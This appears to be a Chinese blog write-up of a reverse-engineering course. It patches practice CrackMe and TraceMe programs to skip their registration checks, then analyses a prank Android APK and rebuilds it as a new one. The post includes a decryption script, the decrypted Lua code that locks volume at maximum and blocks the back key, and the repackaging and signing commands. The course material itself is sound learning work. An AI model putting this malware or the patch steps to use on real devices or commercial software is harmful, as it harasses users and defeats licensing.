目录

  1. 1. 前言
  2. 2. 工具
  3. 3. 0:一次简单的程序逆向
    1. 3.1. 目的
    2. 3.2. 内容
    3. 3.3. 思路
    4. 3.4. 步骤
  4. 4. 1:软件破解入门(暴力破解CrackMe)
    1. 4.1. 概述
    2. 4.2. 步骤
  5. 5. 2:OllyDbg实现TraceMe软件逆向
    1. 5.1. 概述
    2. 5.2. 步骤
  6. 6. 3:基于apktool的病毒分析与制作
    1. 6.1. 概述
    2. 6.2. 工具
    3. 6.3. 步骤

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

软件APP逆向

2024/11/14 Reverse
  |     |   总文章阅读量:

前言

某逆向实训记录


工具

PEiD:一款著名的查壳工具,其功能强大,几乎可以侦测出所有的壳,其数量已超过470种PE文档的加壳类型和签名。内置有差错控制的技术,所以一般能确保扫描结果的准确性。前两种扫描模式几乎在瞬间就可得到结果,核心扫描较慢

ILspy:一个开源的 .net 反编译软件,使用十分方便。支持C#和vb:可以将一个 .dll 文件转换为C#或VB语言。支持保存文件:对于单个文件可以保存为 .cs 文件或 .vb 文件,当文件较多时,可以选择保存为项目文件。支持C#的反编译:C#语句可被反编译出来,并可支持yield return 语句和 lambda 表达式的反编译。

OllyDbg:一种具有可视化界面的32位汇编分析调试器,是一个新的动态追踪工具,将 IDA 与 SoftICE 结合起来的思想,Ring3级调试器,非常容易上手,已代替SoftICE成为当今最为流行的调试解密工具了。同时还支持插件扩展功能,是目前最强大的调试工具。中文版界面清晰,易于操作。


0:一次简单的程序逆向

目的

通过逆向分析小程序,复现小程序的源代码从而破解小程序

内容

  1. 查壳
  2. 反编译
  3. 复现源代码
  4. 查看正确的通关密钥

思路

  1. 先运行程序,看看程序的本质是什么,干什么

  2. PEiD 看程序是什么类型,辨别是什么语言编写的,然后选择合适的工具分析

  3. 通过 PEiD 辨别出是什么语言编写的,就可以运用相应的工具去分析;比如 dotnet 可以使用 ILSpy,c/c++,win 分析和 IDApro 静态分析,根据程序的复杂度选择合适的工具分析

  4. 通过关键字快速寻找flag

  5. 程序断点动态分析或者静态分析算法最终完成逆向得到flag

步骤

  1. 下载所需破解的小程序(这里以 ald阿拉丁神灯 为例),测试通关密语

    image-20241114123336268

  2. 利用查壳工具查看ald的编译语言(PEiD):

    image-20241114123513990

    可以看到是 C# 编译的,所以我们可以用 iLSpy 来查看源代码

    image-20241114124047136

    观察源码结构,从刚才测试 ald 程序的过程中可知当我们按下按钮时会判断密语正确与否

    那么先查看上面的 Button1_Click 源码

    image-20241114124414678

    这里与明文密语比较进行判断,那么可知密语为:zhimakaimen@2011

    image-20241114124529946


1:软件破解入门(暴力破解CrackMe)

概述

所谓暴力破解,就是通过修改汇编代码进而控制程序的运行流程,达到不需注册码也能正常使用软件的目的

步骤

  1. 以《加密与解密》中的CFF CrackMe #3程序为例

    image-20241114141119248

    是一个注册机

  2. 查壳

    image-20241114135130256

    用 Delphi 写的,无壳

  3. OllyDbg 载入此程序,使用的是W32Dasm,属于静态反汇编软件,支持WIN API,具有强大的串式参考功能

    image-20241114135658544

    在反汇编窗口 “右键——查找——所有参考文本字符串”

    再右键查找文本

    image-20241114140735055

    这里查找整个范围下的 Wrong 字符串

    image-20241114141216323

找到 Wrong Serial,try again! ,右键——反汇编窗口中跟随

image-20241114142801639

分析程序流程:

输入ID和注册码后,

00440F34 处的 call 调用子函数来判断ID是否为 Registered User(00440F34处,call 00403B2C处的子函数)

如果不正确,一个 jnz 跳到 00440F8C,弹出 "Wrong Serial, try again!"

00440F51 处的 call 调用子函数来判断注册码是否为 GFX-754-IER-954(00440F51处,call 00403B2C处的子函数)

如果不正确,一个 jnz 跳到 00440F72 ,弹出 "Wrong Serial, try again!"

所以正确的ID和注册码是这里硬编码的Registered User : GFX-754-IER-954

image-20241114153726506


不过我们这里要学习的是暴力破解

现在在任意一个 call 00403B2C 前面 f2 下个断点,看看 call 了个什么函数,这里选择在验证 id 的部分下断点

image-20241114143724315

f9 调试程序,随便输入一个错误的id:test 和错误的注册码:123-456-789,按下注册

跟进,直到 00440F34 的 call 指令,f7 单步步入检验函数(此函数地址在 00403B2C)

image-20241114154222304

可以观察到 eax 存储了我们的 id,edx 存储了正确的 id

在 00403B33 会进行 cmp 比较

image-20241114145541524

从代码中可以发现,程序将输入的注册码与内置的注册码用cmp指令做了比较。(cmp 指令执行后,将对标志寄存器 ZF 产生影响。比如 CMP AX , BX ,当AX=BX时,ZF=1;AX!=BX时,ZF=0。)

也就是说,如果注册码与输入的字符串不相等,ZF=0。此时子程序返回,执行 00440F39 处的 JNZ 指令。因为输入的注册码不对,ZF=0,开始执行 JNZ,跳转到 00440F8C,弹出 Wrong Serial 对话框提示注册码错误。

这就是“关键跳”,如果将 JNZ(ZF=0时就跳转)改为 JE(ZF=1时就跳转),得到的结果就会正好相反,即错误的注册码反而会提示注册成功,对的注册码反而会提示错误

那么现在找出那两个“关键跳”(输入ID时call了一下,然后一个jnz。输入注册码时又call了一下,再一个jnz。),

image-20241114150533633

接下来修改汇编代码,双击对应的 JNZ 指令,弹出“汇编于此处”的对话框。将只需将 jnz 改为 je ,点击“汇编”即可。用同样的方法修改另一处 jnz

image-20241114150700806

修改完毕,右键——复制到可执行文件——所有修改

接下来 f9 再次执行,随便输入账号和许可即可返回注册成功

image-20241114151118981


2:OllyDbg实现TraceMe软件逆向

概述

本实验采用软件 OllyDbg 对软件进行爆破,TraceMe 是一个用于逆向工程研究的 exe 可执行文件,双击打开它会出现一个需要输入用户名与密码的界面,正确的用户名与密码只有一个,只有当输入的用户名与密码正确时才会显示成功,本实验使用 OllyDbg 分析其源码,找到关键跳转的代码,并进行爆破,达到输入什么用户名与密码都会显示成功的目的,并且导出为可执行文件。

步骤

  1. 运行TraceMe

    image-20241114171522596

  2. 查壳

    image-20241114172154997

    无壳,是 c++ 写的

  3. Ollydbg打开 TraceMe 进行调试

    image-20241114172010551

    刚打开时发现光标停在004013A0处,此处为程序的入口点(EntryPoint)

  4. 前面观察到这个程序有两个输入框,有输入的话程序必然要从输入框中读取字符,而读取字符通常使用使用的 API 是 GetDlgItemText 或者 GetWindowText 函数,也可以发送消息直接获取文本框中的文本

    不过一般情况下,我们是没有办法直接知道程序用了什么函数来处理字符,多多尝试

    快捷键 Ctrl+G,可以打开一个跟随表达式窗口,如图,输入 GetDlgItemTextA ,回车跳转(PS:OD对大小写敏感)

    image-20241114172622969

    跳转至 75207A60,GetDlgItemTextA 函数的入口点,f2下断点

  5. f9运行程序,输入数据check

    它会断在我们刚才下断点的地方,之后f8单步执行,刚才下断点的地方要执行经过两次,因为我们的程序有两个输入框,可以直接ctrl+f9 运行到函数内的 return

    一般API函数都服从 __stdcall 调用约定,即函数入口参数按从左到右的顺序入栈,由被调用者清理栈中的参数,返回值放在 eax 寄存器中

    image-20241114173311060

    此时我们的用户名和序列号分别在 edx 和 eax 寄存器中

    继续向下执行,可以看到这里有一个判断test eax,eax,判断 eax 是否 = 0

    image-20241114174622928

    eax=0表示注册失败,eax=1表示注册成功,下面的跳转语句,若不跳转表示成功

    image-20241114174719894

  6. 所以,我们可以让其跳转失效,有两种方法,第一种是将标志寄存器 zf 标志位由1变为0就可以了,但是这种方法有个问题就是没有办法保存,下次运行就会失效,第二种方法是将跳转语句用 nop 指令填充,然后保存

    这里采用第二种方法,右键将je short TraceMe.0040122E nop掉

    image-20241114175205537

    image-20241114175242047

    右键选择复制到可执行文件==>所有修改

    在弹出的窗口中鼠标右键后选择保存文件

    image-20241114175344126

    这边调试继续运行能获得成功的回显

    image-20241114175458187

    刚才保存的程序也能正常运行并成功回显

    image-20241114175546469


3:基于apktool的病毒分析与制作

概述

熟悉对病毒的逆向工程,也熟悉逆向工程相关工具的使用,最后通过逆向工程实现对病毒的分析以及重新制作新的病毒

工具

  1. apktool:可以反编译软件的布局文件、图片等资源。
  2. dex2jar:将apk反编译成java源码(classes.dex 转化成 jar 文件)
  3. jd-gui:查看APK中classes.dex转化成出的jar文件,即源码文件。

步骤

  1. 将后缀改为.zip文件并做简单分析,apk 和 jar 包一样,都可以被解压

    image-20241114191511160

    可以看到 assets 下有一个音频文件和2个 .lua 文件

  2. 使用apktool进行反编译

    java -jar apktool_2.10.0.jar  d 一份礼物.apk

    image-20241114203203147

    文件结构:

    image-20241114203858896

    • assets:存放资源文件,包含Lua脚本lua和音频文件mp3

    • lib:本地库(Native Library)文件夹,包含编译后的本地代码(Native Code)的so文件

    • smail:存放smail文件,包含Dalvik字节码,是对App的Java代码反向成中立字节码的结果

    • AndroidManifest.xml:包含App的信息,App名为送给最好的TA,包名为 com.sgzh.dt

      <activity android:configChanges="keyboardHidden|orientation|screenSize" android:label="送给最好的TA" android:name="com.androlua.LuaActivity" android:theme="@style/app_theme">
          <intent-filter>
              <action android:name="android.intent.action.VIEW"/>
              <category android:name="android.intent.category.DEFAULT"/>
              <category android:name="android.intent.category.BROWSABLE"/>
              <data android:scheme="androlua"/>
              <data android:host="com.sgzh.dt"/>

    将文件夹里的音频文件替换

    image-20241114201007640

  3. 将前面解压出来的 class.dex 文件放入 dex2jar 工具里进行反编译成 Java 源码

    d2j-dex2jar.bat classes.dex

    image-20241114203256661

  4. 使用 jd-gui 对Java源码进行分析

    image-20241114204253812

    大部分代码均来自于AndroLua_pro,AndroLua_pro 是一个使用 Lua 编写 Android 应用的项目,换而言之,Java部分极有可能并不是应用的主体部分,重要操作很有可能会写在Lua

    除了AndroLua_pro的代码外,我们还发现了com.b.a.a、com.b.a.b 这两个经过混淆的包名,经过查证得知里面的代码来源 TextWarrior

  5. 那么还是把重点放在分析 Lua 脚本,打开 assets 下的 init.lua 和 main.lua 发现全是乱码也不是字节码,应该是被加密了

    找一下加载 lua 脚本的地方

    image-20241114212350288

    跟踪这里的 luaState 类

    image-20241114212445087

    引入了一个 lib 库,可知加密使用的是 /lib/armeabli-v7a/libluajava.so

    使用 ida 逆向这个 so 文件,找 luaState 类里面的方法对应的函数

    在 luaL.loadbufferx 函数中发现解密的过程

    image-20241114212817929

    用 pcat 大佬的解密脚本:

    # -*- coding:utf8 -*-
    __author__='pcat@chamd5.org'
    __blog__='http://pcat.cc'
    
    from ctypes import *
    import sys
    
    def decrypt(filename):
        s=open(filename,'rb').read()
        outfile='init_out.lua'
        if s[0]==chr(0x1b) and s[1]!=chr(0x4c):
            rst=chr(0x1b)
            size=len(s)
            v10=0
            for i in range(1,size):
                v10+=size
                v=(c_ulonglong(-2139062143*v10).value>>32)+v10
                v1=c_uint(v).value>>7
                v2=c_int(v).value<0
                rst+=chr(ord(s[i])^(v10+v1+v2)&0xff)
            with open(outfile,'wb') as f:
                f.write(rst)
        else:
            pass
    
    def foo():
        if len(sys.argv)==2:
            filename=sys.argv[1]
        else:    
            filename='init.lua'
        decrypt(filename)
    
    if __name__ == '__main__':
        foo()

    解密后的 lua 文件:

    init.lua

    local L0_0
    appname = "\233\128\129\231\187\153\230\156\128\229\165\189\231\154\132TA"
    appver = "1.0"
    appcode = "10"
    appsdk = "15"
    path_pattern = ""
    packagename = "com.sgzh.dt"
    theme = "Theme_DeviceDefault_Dialog_NoActionBar_MinWidth"
    app_key = ""
    app_channel = ""
    developer = ""
    description = ""
    debugmode = false
    L0_0 = {
      "INTERNET",
      "WRITE_EXTERNAL_STORAGE"
    }
    user_permission = L0_0

    main.lua

    require("import")
    import("android.app.*")
    import("android.os.*")
    import("android.widget.*")
    import("android.view.*")
    import("android.view.View")
    import("android.content.Context")
    import("android.media.MediaPlayer")
    import("android.media.AudioManager")
    import("com.androlua.Ticker")
    activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
    activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)
    m = MediaPlayer()
    m.reset()
    m.setDataSource(activity.getLuaDir() .. "/0.mp3")
    m.prepare()
    m.start()
    m.setLooping(true)
    ti = Ticker()
    ti.Period = 10
    function ti.onTick()
      activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
      activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)
    end
    ti.start()
    function onKeyDown(A0_0, A1_1)
      if string.find(tostring(A1_1), "KEYCODE_BACK") ~= nil then
        activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
      end
      return true
    end

    具体的操作有以下内容

    1. 将系统音量调至最大

    2. 隐藏系统导航栏,并进入沉浸模式(全屏)

    3. 每10tick,重复以上步骤使得无法主动调低音量

    4. 循环播放音频文件0.mp3

    5. 阻止使用返回键

  6. 使用 apktool 将改文件夹进行回编译生成新的病毒文件

    java -jar apktool_2.10.0.jar b 一份礼物

    windows下由于中文路径的原因报错了,这里选用wsl

    image-20241114214407985

  7. 将新的 test.apk 文件用 auto-sign 工具进行签名

    java -jar signapk.jar testkey.x509.pem testkey.pk8 test.apk 送给最好的TA.apk
  8. 安装 送给最好的TA.apk 到模拟器并启动

    image-20241114214837231

    一阵强劲的音乐响起,似乎是一首很新的歌蕉